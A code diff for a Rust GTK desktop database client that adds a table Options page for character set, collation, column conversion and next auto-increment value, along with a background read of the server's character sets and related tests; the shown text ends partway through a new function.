--- a/linux/crates/app/src/ui/structure_tab/context.rs
+++ b/linux/crates/app/src/ui/structure_tab/context.rs
@@ -1,13 +1,15 @@
 //! What the Structure tab knows about the table it edits: whether it
-//! exists, the definition the last read returned, and the dialect whose
-//! DDL rules decide which changes each row offers.
+//! exists, the definition the last read returned, the dialect whose
+//! DDL rules decide which changes each row offers, and the character
+//! sets the server offers.
 
+use std::rc::Rc;
 use std::sync::Arc;
 
-use tablepro_core::column::{ColumnDefault, ColumnType};
+use tablepro_core::column::{BoolStorage, ColumnDefault, ColumnKind, ColumnType};
 use tablepro_core::ddl::{
-    ColumnCapabilities, DdlCapabilities, DdlDialect, DraftColumn, Permission, RefusalReason, TableDefinition,
-    default_text, parse_default, primary_key_permission,
+    CharacterSet, ColumnCapabilities, DdlCapabilities, DdlDialect, DraftColumn, Permission, RefusalReason,
+    TableDefinition, default_text, parse_default, primary_key_permission,
 };
 use tablepro_core::dialect::SqlDialect;
 use tablepro_core::meta::IndexInfo;
@@ -24,6 +26,19 @@ pub(super) struct StructureContext {
     /// The table as the last read returned it, which Save plans against
     /// and Discard restores. `None` for a new table.
     pub definition: Option<TableDefinition>,
+    pub character_sets: CharacterSets,
+}
+
+/// The server's character sets, read apart from the definition, so a
+/// table opens without waiting for them and stays editable when they
+/// cannot be read.
+#[derive(Debug, Clone, Default)]
+pub(super) enum CharacterSets {
+    /// Not read yet, or the engine offers none.
+    #[default]
+    Unread,
+    Read(Rc<[CharacterSet]>),
+    Unreadable,
 }
 
 impl StructureContext {
@@ -74,6 +89,7 @@ impl StructureContext {
                 alter_primary_key: primary_key,
                 alter_auto_increment: Permission::Allowed,
                 alter_comment: Permission::unless(capabilities.column_comments, RefusalReason::EngineUnsupported),
+                alter_collation: Permission::unless(capabilities.column_collations, RefusalReason::EngineUnsupported),
             };
         };
         ddl.column_capabilities(definition, original)
@@ -122,6 +138,44 @@ impl StructureContext {
         allowed && self.ddl().is_some()
     }
 
+    /// Whether the rows need the server's character sets: a text
+    /// column's, or the table's own on an engine that changes them.
+    pub(super) fn offers_character_sets(&self) -> bool {
+        let capabilities = self.capabilities();
+        capabilities.column_collations || (self.mode == StructureMode::Edit && capabilities.table_options)
+    }
+
+    /// The character sets as read, empty until they are.
+    pub(super) fn character_set_catalog(&self) -> Rc<[CharacterSet]> {
+        match &self.character_sets {
+            CharacterSets::Read(sets) => sets.clone(),
+            CharacterSets::Unread | CharacterSets::Unreadable => Rc::from(Vec::new()),
+        }
+    }
+
+    /// The largest value the counter of an AUTO_INCREMENT column of this
+    /// type reaches. A type this build cannot place is left to the
+    /// server.
+    pub(super) fn auto_increment_maximum(&self, column: &DraftColumn) -> u64 {
+        let Some(column_type) = self.default_column_type(column) else {
+            return u64::MAX;
+        };
+        match column_type.kind {
+            ColumnKind::Integer(integer) => {
+                let bits = integer.width.bits().saturating_sub(u32::from(integer.signed));
+                1u64.checked_shl(bits).map_or(u64::MAX, |limit| limit - 1)
+            }
+            // MySQL reads TINYINT(1) as a boolean, which keeps no sign, so the declaration says which byte it is.
+            ColumnKind::Bool(BoolStorage::Integer) => {
+                match column_type.name.to_ascii_lowercase().contains("unsigned") {
+                    true => u64::from(u8::MAX),
+                    false => 127,
+                }
+            }
+            _ => u64::MAX,
+        }
+    }
+
     /// The type a default's literal is read against: the column's own, or
     /// the one the user typed once it parses.
     fn default_column_type(&self, column: &DraftColumn) -> Option<ColumnType> {
diff --git a/linux/crates/app/src/ui/structure_tab/imp.rs b/linux/crates/app/src/ui/structure_tab/imp.rs
index 5c26e20be4..500d4547cc 100644
--- a/linux/crates/app/src/ui/structure_tab/imp.rs
+++ b/linux/crates/app/src/ui/structure_tab/imp.rs
@@ -49,6 +49,20 @@ pub struct StructureTab {
     #[template_child]
     pub add_fk_row: TemplateChild<adw::ButtonRow>,
     #[template_child]
+    pub options_page: TemplateChild<adw::ViewStackPage>,
+    #[template_child]
+    pub options_box: TemplateChild<gtk::Box>,
+    #[template_child]
+    pub character_set_row: TemplateChild<adw::ComboRow>,
+    #[template_child]
+    pub collation_row: TemplateChild<adw::ComboRow>,
+    #[template_child]
+    pub convert_row: TemplateChild<adw::SwitchRow>,
+    #[template_child]
+    pub auto_increment_group: TemplateChild<adw::PreferencesGroup>,
+    #[template_child]
+    pub auto_increment_row: TemplateChild<adw::EntryRow>,
+    #[template_child]
     pub copy_sql_button: TemplateChild<gtk::Button>,
     #[template_child]
     pub sql_view: TemplateChild<sourceview5::View>,
diff --git a/linux/crates/app/src/ui/structure_tab/layout.rs b/linux/crates/app/src/ui/structure_tab/layout.rs
index f9ac78f451..fb523ad3db 100644
--- a/linux/crates/app/src/ui/structure_tab/layout.rs
+++ b/linux/crates/app/src/ui/structure_tab/layout.rs
@@ -63,6 +63,7 @@ pub(super) fn build(
     columns_page(tab, context, stores.columns);
     indexes_page(tab, context, stores);
     foreign_keys_page(tab, context, stores, init.schema, init.session, init.tasks);
+    let options = super::table_options::build(tab);
     StructureTabWidgets {
         inner_stack: imp.inner_stack.get(),
         error_status: imp.error_status.get(),
@@ -76,6 +77,7 @@ pub(super) fn build(
         add_column_row: imp.add_column_row.get(),
         add_index_row: imp.add_index_row.get(),
         add_fk_row: imp.add_fk_row.get(),
+        options,
         sql_buffer,
         pending_label: imp.pending_label.get(),
         save_button: imp.save_button.get(),
diff --git a/linux/crates/app/src/ui/structure_tab/load_handlers.rs b/linux/crates/app/src/ui/structure_tab/load_handlers.rs
index 82d6ddde9c..1229452003 100644
--- a/linux/crates/app/src/ui/structure_tab/load_handlers.rs
+++ b/linux/crates/app/src/ui/structure_tab/load_handlers.rs
@@ -1,13 +1,16 @@
 use std::sync::Arc;
 
 use gtk4::glib;
-use tablepro_core::ddl::TableDraft;
-use tablepro_session::LinkGeneration;
+use tablepro_core::ddl::{CharacterSet, TableDraft};
+use tablepro_session::{LinkGeneration, OperationError};
 
+use super::character_set_fetch::fetch_character_sets;
+use super::context::CharacterSets;
+use super::draft_column_object::DraftColumnObject;
 use super::structure_fetch::fetch_structure;
 use super::{
     LoadInput, LoadedStructure, StructureCommand, StructureEffects, StructureMode, StructureModel,
-    StructureRequestKind, StructureTabOutput,
+    StructureRequestKind, StructureTabOutput, items, replace_items,
 };
 use crate::runtime::{RequestTicket, Stamped};
 use crate::ui::tab_load::{ContentPage, LoadFailure, LoadPresentation};
@@ -16,8 +19,9 @@ impl StructureModel {
     pub(super) fn on_load(&mut self, input: LoadInput, fx: &mut StructureEffects) {
         match input {
             LoadInput::Start => {
-                if self.mode() == StructureMode::Edit {
-                    self.read_definition(fx);
+                match self.mode() {
+                    StructureMode::Edit => self.read_definition(fx),
+                    StructureMode::New => self.read_character_sets(),
                 }
                 self.sync_add_rows();
                 self.regenerate_sql_preview(&self.pending());
@@ -109,6 +113,48 @@ impl StructureModel {
         self.refetching = false;
         self.sync_editable();
         self.recompute_dirty_state(fx);
+        self.read_character_sets();
+    }
+
+    /// Read the server's character sets once the dialect says the rows
+    /// list them. They stay for the tab's life once read; a failed read
+    /// is asked again with the next definition or reconnect.
+    pub(super) fn read_character_sets(&mut self) {
+        let wanted = {
+            let context = self.context.borrow();
+            context.offers_character_sets() && !matches!(context.character_sets, CharacterSets::Read(_))
+        };
+        if !wanted || self.sequencer.is_pending(StructureRequestKind::CharacterSets) {
+            return;
+        }
+        let RequestTicket { stamp, cancel } = self.sequencer.issue(StructureRequestKind::CharacterSets);
+        let work = fetch_character_sets(self.session.clone(), cancel);
+        let tab = self.this.clone();
+        let _delivery = crate::runtime::spawn_and_deliver(&self.tasks, work, move |joined| {
+            let value = joined.unwrap_or_else(|failure| Err(Arc::new(OperationError::from(failure))));
+            if let Some(tab) = tab.upgrade() {
+                tab.send(LoadInput::Command(Box::new(StructureCommand::CharacterSetsRead(
+                    Stamped { stamp, value },
+                ))));
+            }
+        });
+    }
+
+    /// The rows list the character sets as they are built, so the column
+    /// rows are built again, and the Options page refilled.
+    fn on_character_sets(&mut self, value: Result<Vec<CharacterSet>, Arc<OperationError>>) {
+        let lists_columns = {
+            let mut context = self.context.borrow_mut();
+            context.character_sets = match value {
+                Ok(sets) => CharacterSets::Read(sets.into()),
+                Err(_) => CharacterSets::Unreadable,
+            };
+            context.capabilities().column_collations
+        };
+        self.show_table_options();
+        if lists_columns {
+            replace_items(&self.columns, items::<DraftColumnObject>(&self.columns));
+        }
     }
 
     /// With a definition on screen it stays, under the banner. A read
@@ -129,7 +175,16 @@ impl StructureModel {
     }
 
     fn on_command(&mut self, command: StructureCommand, fx: &mut StructureEffects) {
-        let StructureCommand::Loaded(Stamped { stamp, value }) = command;
+        let (stamp, value) = match command {
+            StructureCommand::Loaded(Stamped { stamp, value }) => (stamp, value),
+            StructureCommand::CharacterSetsRead(Stamped { stamp, value }) => {
+                if self.sequencer.accept(StructureRequestKind::CharacterSets, stamp) {
+                    self.failed.record(StructureRequestKind::CharacterSets, &value);
+                    self.on_character_sets(value);
+                }
+                return;
+            }
+        };
         if !self.sequencer.accept(StructureRequestKind::Definition, stamp) {
             return;
         }
@@ -158,13 +213,18 @@ impl StructureModel {
             self.rebuild_rows();
             self.sync_add_rows();
             self.recompute_dirty_state(fx);
+            self.read_character_sets();
         }
         self.retry_failed(fx);
     }
 
     fn retry_failed(&mut self, fx: &mut StructureEffects) {
-        if self.failed.take().contains(&StructureRequestKind::Definition) {
+        let failed = self.failed.take();
+        if failed.contains(&StructureRequestKind::Definition) {
             self.read_definition(fx);
         }
+        if failed.contains(&StructureRequestKind::CharacterSets) {
+            self.read_character_sets();
+        }
     }
 }
diff --git a/linux/crates/app/src/ui/structure_tab/mod.rs b/linux/crates/app/src/ui/structure_tab/mod.rs
index 336c9f2a46..a25c08511a 100644
--- a/linux/crates/app/src/ui/structure_tab/mod.rs
+++ b/linux/crates/app/src/ui/structure_tab/mod.rs
@@ -5,13 +5,17 @@
 //!
 //!   ┌─ Content ────────────────────────────────────────────────┐
 //!   │   (New mode) AdwPreferencesGroup { name entry }          │
-//!   │   Centred AdwViewSwitcher: Columns | Indexes | FKs | SQL │
+//!   │   Centred AdwViewSwitcher: Columns | Indexes | FKs |     │
+//!   │                            Options | SQL                 │
 //!   │ ┌─ ViewStack ─────────────────────────────────────────┐  │
 //!   │ │ Columns: boxed-list of AdwExpanderRow (per column,  │  │
-//!   │ │   header = Name + summary, body = Name/Type/Null/   │  │
-//!   │ │   Default/PK/AutoInc rows), then an Add Column row  │  │
+//!   │ │   header = Name + summary, body = Name/Type/Charset/│  │
+//!   │ │   Collation/Null/Default/PK/AutoInc rows), then an  │  │
+//!   │ │   Add Column row                                    │  │
 //!   │ │ Indexes: boxed-list (Name, Cols, Unique, trash)     │  │
 //!   │ │ FKs: boxed-list (Name, Cols, Refs, RefCols, trash)  │  │
+//!   │ │ Options (where the engine has them): Character Set, │  │
+//!   │ │   Collation, Convert, Next Auto Increment           │  │
 //!   │ │ SQL Preview: SourceView5 (read-only, sql highlight) │  │
 //!   │ └─────────────────────────────────────────────────────┘  │
 //!   ├─ ActionBar { pending count | Discard | Save | Drop } ────┤
@@ -31,7 +35,9 @@
 //!
 //! The tab reads the table's definition itself, one request at a time,
 //! and reads it again once the session reconnects if the last read
-//! failed. A change to the table from elsewhere reads it again too,
+//! failed. The server's character sets are a read of their own after
+//! it, and a tab whose read of them failed edits everything else. A
+//! change to the table from elsewhere reads the definition again too,
 //! unless the draft has edits: then Discard reads it, and a plan that
 //! writes the table again from the old definition refuses to save. A
 //! read that fails with a definition on screen leaves it there under a
@@ -40,6 +46,8 @@
 //! An input belongs to the group of state it changes, and each group is
 //! handled in its own `*_handlers` module.
 
+mod character_set_choices;
+mod character_set_fetch;
 mod column_handlers;
 mod columns;
 mod columns_input;
@@ -77,6 +85,7 @@ mod structure_tab_widgets;
 mod table_choice_object;
 mod table_handlers;
 mod table_input;
+mod table_options;
 #[cfg(test)]
 mod tests;
 
@@ -91,13 +100,13 @@ use gtk4::subclass::prelude::*;
 use gtk4::{gio, glib};
 use libadwaita as adw;
 use sourceview5::prelude::BufferExt;
-use tablepro_core::ddl::{DraftColumn, TableChanges, TableDraft, diff_table};
+use tablepro_core::ddl::{DraftColumn, DraftTableOptions, TableChanges, TableDraft, diff_table};
 use tablepro_core::meta::TableRef;
 use tablepro_session::runtime::{Tasks, WatchForwarder};
 use tablepro_session::{LinkGeneration, Session};
 
 pub(crate) use self::columns_input::{ColumnField, ColumnsInput};
-use self::context::StructureContext;
+use self::context::{CharacterSets, StructureContext};
 use self::draft_column_object::DraftColumnObject;
 use self::foreign_key_object::ForeignKeyObject;
 pub(crate) use self::foreign_keys_input::ForeignKeysInput;
@@ -109,6 +118,7 @@ pub(crate) use self::structure_command::{LoadedStructure, StructureCommand, Stru
 pub(crate) use self::structure_tab_input::StructureTabInput;
 use self::structure_tab_widgets::StructureTabWidgets;
 pub(crate) use self::table_input::TableInput;
+use self::table_options::NextAutoIncrement;
 use crate::runtime::{FailedRequests, RequestSequencer};
 use crate::services::pending_structure::PendingStructure;
 use crate::services::structure_tracker_handle::StructureTrackerHandle;
@@ -168,6 +178,7 @@ impl StructureTab {
                 StructureMode::Edit => None,
             },
             definition: None,
+            character_sets: CharacterSets::Unread,
         }));
         let columns = gio::ListStore::new::<DraftColumnObject>();
         let indexes = gio::ListStore::new::<IndexObject>();
@@ -206,6 +217,8 @@ impl StructureTab {
             columns,
             indexes,
             foreign_keys,
+            options: None,
+            next_auto_increment: NextAutoIncrement::default(),
             read_only,
             saving: false,
             last_dirty: false,
@@ -416,6 +429,9 @@ pub(crate) struct StructureModel {
     columns: gio::ListStore,
     indexes: gio::ListStore,
     foreign_keys: gio::ListStore,
+    /// The draft's own options, on an engine whose tables have them.
+    options: Option<DraftTableOptions>,
+    next_auto_increment: NextAutoIncrement,
     /// The connection refuses writes, so Drop is not offered.
     read_only: bool,
     /// A save of the tab is running, so Save and Discard stay off.
@@ -476,6 +492,7 @@ impl StructureModel {
                 .iter()
                 .map(|key| key.info().clone())
                 .collect(),
+            options: self.options.clone(),
         }
     }
 
@@ -498,6 +515,7 @@ impl StructureModel {
             draft,
             changes,
             unparsed_defaults,
+            invalid_auto_increment: self.next_auto_increment.error.is_some(),
         }
     }
 
@@ -511,9 +529,10 @@ impl StructureModel {
         if self.refetching {
             return;
         }
+        self.sync_next_auto_increment();
         let pending = self.pending();
         let dirty = pending.has_changes();
-        self.refresh_buttons(pending.change_count(), pending.unparsed_defaults.is_empty());
+        self.refresh_buttons(pending.change_count(), pending.typed_values_hold());
         self.regenerate_sql_preview(&pending);
         self.tracker.set_pending(Some(pending));
         if self.last_dirty != dirty {
@@ -545,6 +564,9 @@ impl StructureModel {
             &self.foreign_keys,
             draft.foreign_keys.into_iter().map(ForeignKeyObject::new),
         );
+        self.next_auto_increment = NextAutoIncrement::showing(draft.options.as_ref());
+        self.options = draft.options;
+        self.show_table_options();
     }
 
     /// The lists build every row again, keeping the items, for rows
diff --git a/linux/crates/app/src/ui/structure_tab/review_dialog.rs b/linux/crates/app/src/ui/structure_tab/review_dialog.rs
index 710d6bc7c6..250f1896b6 100644
--- a/linux/crates/app/src/ui/structure_tab/review_dialog.rs
+++ b/linux/crates/app/src/ui/structure_tab/review_dialog.rs
@@ -99,6 +99,13 @@ fn destructive_text(change: &DestructiveChange) -> String {
             "Makes column “{column}” NOT NULL. A NULL already in it is converted or refused.",
             &[("column", column)],
         ),
+        DestructiveChange::ConvertCharacterSet => crate::i18n::gettext(
+            "Converts the text in every column to the new character set. A character it lacks is changed or refused, and a column's type can grow to hold longer characters.",
+        ),
+        DestructiveChange::ChangeColumnCharacterSet { column } => crate::i18n::gettext_f(
+            "Converts the text in column “{column}” to its new character set. A character that set lacks is changed or refused.",
+            &[("column", column)],
+        ),
         DestructiveChange::DropIndex { index } => crate::i18n::gettext_f("Drops index “{index}”.", &[("index", index)]),
         DestructiveChange::DropForeignKey { key } => {
             crate::i18n::gettext_f("Drops foreign key “{key}”.", &[("key", key)])
@@ -280,6 +287,22 @@ mod tests {
         );
     }
 
+    #[test]
+    fn a_character_set_change_says_what_happens_to_the_text() {
+        assert_eq!(
+            destructive_text(&DestructiveChange::ChangeColumnCharacterSet {
+                column: "title".to_owned()
+            }),
+            "Converts the text in column “title” to its new character set. A character that set lacks is changed or \
+             refused."
+        );
+        assert!(
+            destructive_text(&DestructiveChange::ConvertCharacterSet).starts_with("Converts the text in every column"),
+            "{}",
+            destructive_text(&DestructiveChange::ConvertCharacterSet)
+        );
+    }
+
     #[test]
     fn a_rebuild_names_what_it_makes_again() {
         let text = rebuild_text(&TableRebuild {
diff --git a/linux/crates/app/src/ui/structure_tab/save_gate.rs b/linux/crates/app/src/ui/structure_tab/save_gate.rs
index 9bd8b96010..3dba696bd4 100644
--- a/linux/crates/app/src/ui/structure_tab/save_gate.rs
+++ b/linux/crates/app/src/ui/structure_tab/save_gate.rs
@@ -56,6 +56,7 @@ mod tests {
             foreign_keys: Vec::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         }
     }
 
@@ -68,6 +69,7 @@ mod tests {
             original: Some(original),
             draft,
             unparsed_defaults: Vec::new(),
+            invalid_auto_increment: false,
         }
     }
 
@@ -82,6 +84,7 @@ mod tests {
             draft,
             changes: TableChanges::default(),
             unparsed_defaults: Vec::new(),
+            invalid_auto_increment: false,
         }
     }
 
diff --git a/linux/crates/app/src/ui/structure_tab/save_handlers.rs b/linux/crates/app/src/ui/structure_tab/save_handlers.rs
index 8a6763aec0..03ed1318dd 100644
--- a/linux/crates/app/src/ui/structure_tab/save_handlers.rs
+++ b/linux/crates/app/src/ui/structure_tab/save_handlers.rs
@@ -142,6 +142,7 @@ impl StructureModel {
             self.widgets.columns_box.upcast_ref(),
             self.widgets.indexes_box.upcast_ref(),
             self.widgets.fks_box.upcast_ref(),
+            self.widgets.options.controls.upcast_ref(),
         ] {
             widget.set_sensitive(editable);
         }
@@ -152,6 +153,7 @@ impl StructureModel {
     /// off yet: the controls go back to what the draft holds.
     pub(super) fn refuse_edit(&self, msg: &StructureTabInput, fx: &mut StructureEffects) {
         self.show_table_name();
+        self.show_table_options();
         if let StructureTabInput::Columns(ColumnsInput::ColumnEdited { column, .. }) = msg
             && let Some(position) = self.columns.find(column)
         {
diff --git a/linux/crates/app/src/ui/structure_tab/sql_preview.rs b/linux/crates/app/src/ui/structure_tab/sql_preview.rs
index 4840db652b..31b63f521e 100644
--- a/linux/crates/app/src/ui/structure_tab/sql_preview.rs
+++ b/linux/crates/app/src/ui/structure_tab/sql_preview.rs
@@ -9,9 +9,7 @@ pub(super) fn preview_text(context: &StructureContext, pending: &PendingStructur
     match (&context.dialect, context.ddl()) {
         (None, _) => gettext("-- Connect to a database to see the SQL."),
         (Some(_), None) => gettext("-- This database's structure can't be edited here."),
-        (Some(_), Some(_)) if !pending.unparsed_defaults.is_empty() => {
-            gettext("-- Fix the highlighted fields to see the SQL.")
-        }
+        (Some(_), Some(_)) if !pending.typed_values_hold() => gettext("-- Fix the highlighted fields to see the SQL."),
         (Some(_), Some(_)) if !pending.has_changes() => no_pending_changes(),
         (Some(_), Some(ddl)) => match pending.plan(ddl) {
             Ok(plan) => plan.preview(),
@@ -56,6 +54,7 @@ mod tests {
             mode: StructureMode::New,
             dialect,
             definition: None,
+            character_sets: super::super::context::CharacterSets::Unread,
         }
     }
 
@@ -70,6 +69,7 @@ mod tests {
             draft,
             changes: TableChanges::default(),
             unparsed_defaults: Vec::new(),
+            invalid_auto_increment: false,
         }
     }
 
@@ -94,6 +94,19 @@ mod tests {
         );
     }
 
+    #[test]
+    fn an_invalid_next_auto_increment_holds_the_preview() {
+        let pending = PendingStructure {
+            invalid_auto_increment: true,
+            ..created(&["id"])
+        };
+
+        assert_eq!(
+            preview_text(&new_table(Some(postgres())), &pending),
+            "-- Fix the highlighted fields to see the SQL."
+        );
+    }
+
     #[test]
     fn a_plan_that_cannot_be_written_says_why() {
         let preview = preview_text(&new_table(Some(postgres())), &created(&["id", "id"]));
diff --git a/linux/crates/app/src/ui/structure_tab/structure_command.rs b/linux/crates/app/src/ui/structure_tab/structure_command.rs
index 7abf8cabe9..75fe5ebde9 100644
--- a/linux/crates/app/src/ui/structure_tab/structure_command.rs
+++ b/linux/crates/app/src/ui/structure_tab/structure_command.rs
@@ -1,15 +1,17 @@
 use std::sync::Arc;
 
-use tablepro_core::ddl::TableDefinition;
+use tablepro_core::ddl::{CharacterSet, TableDefinition};
 use tablepro_core::dialect::SqlDialect;
+use tablepro_session::OperationError;
 
 use crate::runtime::Stamped;
 use crate::ui::tab_load::LoadFailure;
 
-/// The one read a structure tab makes.
+/// The reads a structure tab makes.
 #[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]
 pub(crate) enum StructureRequestKind {
     Definition,
+    CharacterSets,
 }
 
 /// The table as one definition, read in one call, with the dialect of
@@ -20,9 +22,14 @@ pub(crate) struct LoadedStructure {
     pub dialect: Arc<dyn SqlDialect>,
 }
 
-/// A reply to the tab's read, stamped with the request it answers so a
-/// reply to a replaced request is dropped.
+/// A reply to one of the tab's reads, stamped with the request it
+/// answers so a reply to a replaced request is dropped.
 #[derive(Debug)]
+#[expect(
+    clippy::large_enum_variant,
+    reason = "every command travels boxed in LoadInput::Command, so the enum is never moved by value"
+)]
 pub(crate) enum StructureCommand {
     Loaded(Stamped<Result<LoadedStructure, LoadFailure>>),
+    CharacterSetsRead(Stamped<Result<Vec<CharacterSet>, Arc<OperationError>>>),
 }
diff --git a/linux/crates/app/src/ui/structure_tab/structure_fetch.rs b/linux/crates/app/src/ui/structure_tab/structure_fetch.rs
index 67cea5dcc3..5fdca73390 100644
--- a/linux/crates/app/src/ui/structure_tab/structure_fetch.rs
+++ b/linux/crates/app/src/ui/structure_tab/structure_fetch.rs
@@ -96,6 +96,7 @@ mod tests {
             foreign_keys: Vec::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         }));
 
         let failure = read(script).expect_err("a failed read");
diff --git a/linux/crates/app/src/ui/structure_tab/structure_tab_input.rs b/linux/crates/app/src/ui/structure_tab/structure_tab_input.rs
index 62ea9ed012..7dd855a884 100644
--- a/linux/crates/app/src/ui/structure_tab/structure_tab_input.rs
+++ b/linux/crates/app/src/ui/structure_tab/structure_tab_input.rs
@@ -21,7 +21,16 @@ impl StructureTabInput {
     pub(super) fn edits_draft(&self) -> bool {
         matches!(
             self,
-            Self::Columns(_) | Self::Indexes(_) | Self::ForeignKeys(_) | Self::Table(TableInput::TableNameEdited(_))
+            Self::Columns(_)
+                | Self::Indexes(_)
+                | Self::ForeignKeys(_)
+                | Self::Table(
+                    TableInput::TableNameEdited(_)
+                        | TableInput::CharacterSetPicked(_)
+                        | TableInput::CollationPicked(_)
+                        | TableInput::ConvertColumnsToggled(_)
+                        | TableInput::NextAutoIncrementEdited(_)
+                )
         )
     }
 }
diff --git a/linux/crates/app/src/ui/structure_tab/structure_tab_widgets.rs b/linux/crates/app/src/ui/structure_tab/structure_tab_widgets.rs
index 7e668e1a71..e499cfd0cf 100644
--- a/linux/crates/app/src/ui/structure_tab/structure_tab_widgets.rs
+++ b/linux/crates/app/src/ui/structure_tab/structure_tab_widgets.rs
@@ -2,6 +2,7 @@ use gtk4 as gtk;
 use gtk4::glib;
 use libadwaita as adw;
 
+use super::table_options::TableOptionsWidgets;
 use crate::ui::handler_guard::HandlerGuard;
 use crate::ui::tab_load::StaleBanner;
 
@@ -23,6 +24,7 @@ pub(super) struct StructureTabWidgets {
     pub(super) add_column_row: adw::ButtonRow,
     pub(super) add_index_row: adw::ButtonRow,
     pub(super) add_fk_row: adw::ButtonRow,
+    pub(super) options: TableOptionsWidgets,
     pub(super) sql_buffer: sourceview5::Buffer,
     pub(super) pending_label: gtk::Label,
     pub(super) save_button: gtk::Button,
diff --git a/linux/crates/app/src/ui/structure_tab/table_handlers.rs b/linux/crates/app/src/ui/structure_tab/table_handlers.rs
index 3893ec2c4f..93498213ce 100644
--- a/linux/crates/app/src/ui/structure_tab/table_handlers.rs
+++ b/linux/crates/app/src/ui/structure_tab/table_handlers.rs
@@ -12,6 +12,15 @@ impl StructureModel {
                 self.table.name = text;
                 self.recompute_dirty_state(fx);
             }
+            TableInput::CharacterSetPicked(name) => self.pick_table_character_set(name, fx),
+            TableInput::CollationPicked(name) => self.edit_table_options(fx, |options| options.collation = Some(name)),
+            TableInput::ConvertColumnsToggled(converts) => {
+                self.edit_table_options(fx, |options| options.converts_columns = converts);
+            }
+            TableInput::NextAutoIncrementEdited(text) => {
+                self.next_auto_increment.text = text;
+                self.recompute_dirty_state(fx);
+            }
             TableInput::DropTableRequested => {
                 if self.read_only {
                     tracing::error!("Drop reached a structure tab on a read-only connection");
diff --git a/linux/crates/app/src/ui/structure_tab/table_input.rs b/linux/crates/app/src/ui/structure_tab/table_input.rs
index 1119232fe5..6742804874 100644
--- a/linux/crates/app/src/ui/structure_tab/table_input.rs
+++ b/linux/crates/app/src/ui/structure_tab/table_input.rs
@@ -2,5 +2,12 @@
 #[derive(Debug)]
 pub(crate) enum TableInput {
     TableNameEdited(String),
+    /// A default character set picked for the table, which takes its
+    /// default collation with it.
+    CharacterSetPicked(String),
+    CollationPicked(String),
+    ConvertColumnsToggled(bool),
+    /// The Next Auto Increment field as typed.
+    NextAutoIncrementEdited(String),
     DropTableRequested,
 }
diff --git a/linux/crates/app/src/ui/structure_tab/table_options.rs b/linux/crates/app/src/ui/structure_tab/table_options.rs
new file mode 100644
index 0000000000..30aa0400ee
--- /dev/null
+++ b/linux/crates/app/src/ui/structure_tab/table_options.rs
@@ -0,0 +1,256 @@
+//! The Options page: the table's default character set and collation,
+//! whether a change of them converts the columns as well, and the value
+//! the next numbered row takes.
+
+use gtk4 as gtk;
+use gtk4::glib;
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use libadwaita as adw;
+use tablepro_core::ddl::{CharacterSet, DraftTableOptions};
+
+use super::character_set_choices::{
+    ChoiceRow, character_set_choices, collation_choices, default_collation, follow_catalog,
+};
+use super::columns::mark_invalid;
+use super::draft_column_object::DraftColumnObject;
+use super::{StructureEffects, StructureMode, StructureModel, StructureTab, TableInput, items};
+
+pub(super) struct TableOptionsWidgets {
+    pub(super) page: adw::ViewStackPage,
+    /// Holds every control, so a save turns them all off at once.
+    pub(super) controls: gtk::Box,
+    pub(super) character_set_row: adw::ComboRow,
+    pub(super) character_set: ChoiceRow,
+    pub(super) collation_row: adw::ComboRow,
+    pub(super) collation: ChoiceRow,
+    pub(super) convert: adw::SwitchRow,
+    /// Blocked while the tab writes the draft's value into the switch.
+    pub(super) convert_toggled: glib::SignalHandlerId,
+    pub(super) auto_increment_group: adw::PreferencesGroup,
+    pub(super) auto_increment: adw::EntryRow,
+    /// Blocked while the tab writes the draft's value into the field.
+    pub(super) auto_increment_changed: glib::SignalHandlerId,
+}
+
+/// The Next Auto Increment field as the user typed it.
+#[derive(Debug, Clone, Default, PartialEq, Eq)]
+pub(super) struct NextAutoIncrement {
+    pub(super) text: String,
+    /// Why `text` is no value the numbered column takes. The draft keeps
+    /// the table's own value, and Save waits until the text is one.
+    pub(super) error: Option<String>,
+}
+
+impl NextAutoIncrement {
+    pub(super) fn showing(options: Option<&DraftTableOptions>) -> Self {
+        Self::of(options.and_then(|options| options.next_auto_increment))
+    }
+
+    fn of(value: Option<u64>) -> Self {
+        Self {
+            text: value.map(|value| value.to_string()).unwrap_or_default(),
+            error: None,
+        }
+    }
+}
+
+/// The page's controls, each sending its edit.
+pub(super) fn build(tab: &StructureTab) -> TableOptionsWidgets {
+    let imp = tab.imp();
+    let sender = tab.sender();
+    let character_set = ChoiceRow::new(&imp.character_set_row, move |picked| {
+        if let Some(name) = picked {
+            sender.input(TableInput::CharacterSetPicked(name));
+        }
+    });
+    let sender = tab.sender();
+    let collation = ChoiceRow::new(&imp.collation_row, move |picked| {
+        if let Some(name) = picked {
+            sender.input(TableInput::CollationPicked(name));
+        }
+    });
+    let sender = tab.sender();
+    let convert_toggled = imp
+        .convert_row
+        .connect_active_notify(move |row| sender.input(TableInput::ConvertColumnsToggled(row.is_active())));
+    let sender = tab.sender();
+    let auto_increment_changed = imp.auto_increment_row.connect_changed(move |entry| {
+        sender.input(TableInput::NextAutoIncrementEdited(entry.text().to_string()));
+    });
+    TableOptionsWidgets {
+        page: imp.options_page.get(),
+        controls: imp.options_box.get(),
+        character_set_row: imp.character_set_row.get(),
+        character_set,
+        collation_row: imp.collation_row.get(),
+        collation,
+        convert: imp.convert_row.get(),
+        convert_toggled,
+        auto_increment_group: imp.auto_increment_group.get(),
+        auto_increment: imp.auto_increment_row.get(),
+        auto_increment_changed,
+    }
+}
+
+/// `None` for an empty field, which leaves the value as it is.
+fn parse_next_auto_increment(text: &str, maximum: u64, original: Option<u64>) -> Result<Option<u64>, String> {
+    let text = text.trim();
+    if text.is_empty() {
+        return Ok(None);
+    }
+    match text.parse::<u64>() {
+        // An exhausted counter sits one past the column's type; the server's own value is never the user's error.
+        Ok(value) if Some(value) == original || (1..=maximum).contains(&value) => Ok(Some(value)),
+        _ => Err(crate::i18n::gettext_f(
+            "Enter a whole number from 1 to {maximum}.",
+            &[("maximum", &maximum.to_string())],
+        )),
+    }
+}
+
+impl StructureModel {
+    /// A character set picked for the table takes its default collation,
+    /// as the server would give it one named alone.
+    pub(super) fn pick_table_character_set(&mut self, name: String, fx: &mut StructureEffects) {
+        let catalog = self.context.borrow().character_set_catalog();
+        let Some(options) = self.options.as_mut() else {
+            return;
+        };
+        if let Some(collation) = default_collation(&catalog, &name) {
+            options.collation = Some(collation);
+        }
+        options.character_set = Some(name);
+        self.show_table_collations(&catalog);
